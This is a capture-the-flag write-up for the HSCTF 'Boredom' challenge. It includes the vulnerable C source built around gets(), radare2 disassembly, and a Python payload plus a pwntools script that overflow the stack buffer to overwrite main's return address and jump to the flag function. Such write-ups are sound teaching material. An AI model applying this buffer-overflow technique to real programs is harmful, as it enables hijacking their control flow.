Security Stories

Boredom

Description

Keith is bored and stuck at home. Give him some things to do.

Connect at nc pwn.hsctf.com 5002.

Note, if you're having trouble getting it to work remotely:

Solution

We're given source code to analyse:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <signal.h>

void setup() {
  puts("I'm currently bored out of my mind. Give me something to do!");
  setvbuf(stdin, NULL, _IONBF, NULL);
  setvbuf(stdout, NULL, _IONBF, NULL);
}

void flag() {
  FILE *f = fopen("flag.txt", "r");
  char buf[50];
  if (f == NULL) {
    puts("You're running this locally or I can't access the flag file for some reason.");
    puts("If this occurs on the remote, ping @PMP#5728 on discord server.");
    exit(1);
  }
  fgets(buf, 50, f);
  printf("Hey, that's a neat idea. Here's a flag for your trouble: %s\n",
    buf);
  puts("Now go away.");
  exit(42);
}

int main() {
  char toDo[200];
  setup();

  printf("Give me something to do: ");
  gets(toDo);
  puts("Ehhhhh, maybe later.");
  return 0;
}

Here, we can see the program makes a call to gets() before returning.

We can use this to overwrite the return address and jump to the flag function.

If we disassemble the program and list all functions, we can get the address of the flag function.

[greenavocado@greenavocado-pc Boredom]$ r2 boredom
 -- aaaa is experimental
[0x004010a0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004010a0]> afl
0x004010a0    1 46           entry0
0x004010e0    4 33           sym.deregister_tm_clones
0x00401110    4 57   -> 51   sym.register_tm_clones
0x00401150    3 33   -> 32   sym.__do_global_dtors_aux
0x00401180    1 6            entry.init0
0x00401320    1 5            sym.__libc_csu_fini
0x00401328    1 13           sym._fini
0x004012b0    4 101          sym.__libc_csu_init
0x004010d0    1 5            sym._dl_relocate_static_pie
0x00401260    1 77           main
0x00401186    1 79           sym.setup
0x00401030    1 6            sym.imp.puts
0x00401070    1 6            sym.imp.setvbuf
0x00401040    1 6            sym.imp.printf
0x00401060    1 6            sym.imp.gets
0x004011d5    3 139          sym.flag
0x00401080    1 6            sym.imp.fopen
0x00401090    1 6            sym.imp.exit
0x00401050    1 6            sym.imp.fgets
0x00401000    3 27           sym._init
[0x004010a0]>

Note the address of the sym.flag function, 0x004011d5. We'll need to overwrite the return address of main with this in order to jump to it.

Next, lets disassemble the main function to find the offset.

[0x004010a0]> pdf @ main
            ; DATA XREF from entry0 @ 0x4010c1
┌ 77: int main (int argc, char **argv, char **envp);
│           ; var char *s @ rbp-0xd0
│           0x00401260      55             push rbp
│           0x00401261      4889e5         mov rbp, rsp
│           0x00401264      4881ecd00000.  sub rsp, 0xd0
│           0x0040126b      b800000000     mov eax, 0
│           0x00401270      e811ffffff     call sym.setup
│           0x00401275      488d3dae0e00.  lea rdi, str.Give_me_something_to_do: ; 0x40212a ; "Give me something to do: " ; const char *format
│           0x0040127c      b800000000     mov eax, 0
│           0x00401281      e8bafdffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00401286      488d8530ffff.  lea rax, [s]
│           0x0040128d      4889c7         mov rdi, rax                ; char *s
│           0x00401290      b800000000     mov eax, 0
│           0x00401295      e8c6fdffff     call sym.imp.gets           ; char *gets(char *s)
│           0x0040129a      488d3da30e00.  lea rdi, str.Ehhhhh__maybe_later. ; 0x402144 ; "Ehhhhh, maybe later." ; const char *s
│           0x004012a1      e88afdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004012a6      b800000000     mov eax, 0
│           0x004012ab      c9             leave
└           0x004012ac      c3             ret

We can see that gets() is writing to rbp-0xd0. Our padding is going to be 0xd0+8 to overwrite rbp.

We can try this by writing 0xd0+8 arbitrary bytes, then the address of the flag function.

python -c "import sys; sys.stdout.buffer.write(b'\x41' * (0xd0+8) + b'\xd5\x11\x40\x00\x00\x00\x00\x00')" | ./boredom

Here's the output:

[greenavocado@greenavocado-pc Boredom]$ python -c "import sys; sys.stdout.buffer.write(b'\x41' * (0xd0+8) + b'\xd5\x11\x40\x00\x00\x00\x00\x00')" | ./boredom
I'm currently bored out of my mind. Give me sumpfink to do!
Give me something to do: Ehhhhh, maybe later.
Hey, that's a neat idea. Here's a flag for your trouble: flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}
Now go away.

This would fail if we were to try this on the shell server due to the different offset mentioned in the description. To find the offset, it shouldn't be difficult to bruteforce it.

Exploit Script

I've written a script to start at the minimum offset, 208. This is because the char array has a size of 200, and 8 bytes must be reserved for rbp.

If the script fails to get a flag, it adds 8 to the padding and tries again.

#!/usr/bin/python2
from pwn import *

paddingsize = 208
win = False

while win == False:
    conn = remote("pwn.hsctf.com", 5002)
    print conn.recvline()
    payload = 'A' * paddingsize + '\xd5\x11\x40\x00\x00\x00\x00\x00'
    conn.send(payload + '\n')
    print paddingsize
    print conn.recvline()
    try:
        flagline = conn.recvline()
        print flagline
        flag = flagline[flagline.index("flag{"):flagline.index("}") + 1]
    except:
        conn.close()
        paddingsize += 8
    else:
        win = True

f = open("flag.txt", "w")
f.write(flag)
f.close()

Conveniently, the first attempt succeeds with a padding of 208 bytes.

Flag

flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}